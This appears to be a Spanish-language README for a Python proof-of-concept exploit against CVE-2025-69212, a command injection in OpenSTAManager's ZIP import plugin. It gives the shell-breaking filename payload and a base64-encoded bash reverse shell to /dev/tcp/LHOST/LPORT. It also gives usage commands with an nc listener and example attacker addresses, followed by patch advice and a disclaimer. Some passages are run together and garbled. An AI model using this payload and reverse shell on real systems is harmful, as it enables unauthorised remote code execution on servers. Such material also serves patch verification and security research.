
PoC en Python, exploit para CVE-2025-69212
Prueba de concepto del exploit para CVE-2025-69212, una vulnerabilidad de inyección de comandos del sistema operativo en OpenSTAManager <= 2.9.8 que permite a un atacante autenticado lograr la ejecución remota de código mediante la carga de un archivo ZIP manipulado.
La vulnerabilidad existe en src/Util/XML.php en la línea ~100, donde la aplicación pasa un nombre de archivo controlado por el usuario directamente a una llamada exec() del shell sin sanitización:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
Cuando se carga un archivo ZIP a través del plugin importFE_ZIP (/actions.php), la aplicación extrae el ZIP y pasa el nombre de archivo de cada entrada .p7m a exec(). Un atacante puede crear un ZIP con un nombre de archivo malicioso que salga del argumento entre comillas dobles e inyecte comandos arbitrarios del shell.
Payload de inyección (nombre de archivo):
invoice.p7m";<COMMAND>;echo ".p7m
Ejecución resultante en el shell:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ inyectado aquí
Nota: La barra diagonal
/no puede aparecer directamente en el nombre del archivo porqueZipArchive::extractTo()la trata como un separador de rutas. El PoC evita esto codificando en base64 el payload de la reverse shell.
requestsnc)Instalar dependencias:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# Iniciar listener
nc -lvnp 4444
# Ejecutar el exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Enrutar a través de Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m cuyo nombre incluye el comando inyectadobash -i >& /dev/tcp/LHOST/LPORT 0>&1) se codifica en base64 para evitar barras diagonales en el nombre del archivo/actions.php mediante el plugin importFE_ZIPexec(), lo que desencadena la reverse shellActualice a OpenSTAManager 2.9.9 o posterior, que sanea los nombres de archivo antes de pasarlos a los comandos del shell.
Si no es posible aplicar el parche de inmediato, desactive el plugin importFE_ZIP o restrinja el acceso a /actions.php solo a usuarios de confianza.
Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas y fines educativos. Úsela únicamente en sistemas que le pertenezcan o para los que tenga permiso explícito por escrito. El uso no autorizado contra sistemas que no le pertenecen es ilegal y poco ético. El autor no se hace responsable de ningún uso indebido o daño causado por esta herramienta.
| Argumento | Obligatorio | Descripción |
|---|
-u, --url | Sí | URL base del objetivo (p. ej. http://target.htb) |
-U, --username | Sí | Nombre de usuario de OpenSTAManager |
-P, --password | Sí | Contraseña de OpenSTAManager |
--lhost | Sí | Dirección IP para la reverse shell |
--lport | Sí | Puerto de escucha para la reverse shell |
--proxy | No | Proxy HTTP (p. ej. http://127.0.0.1:8080) |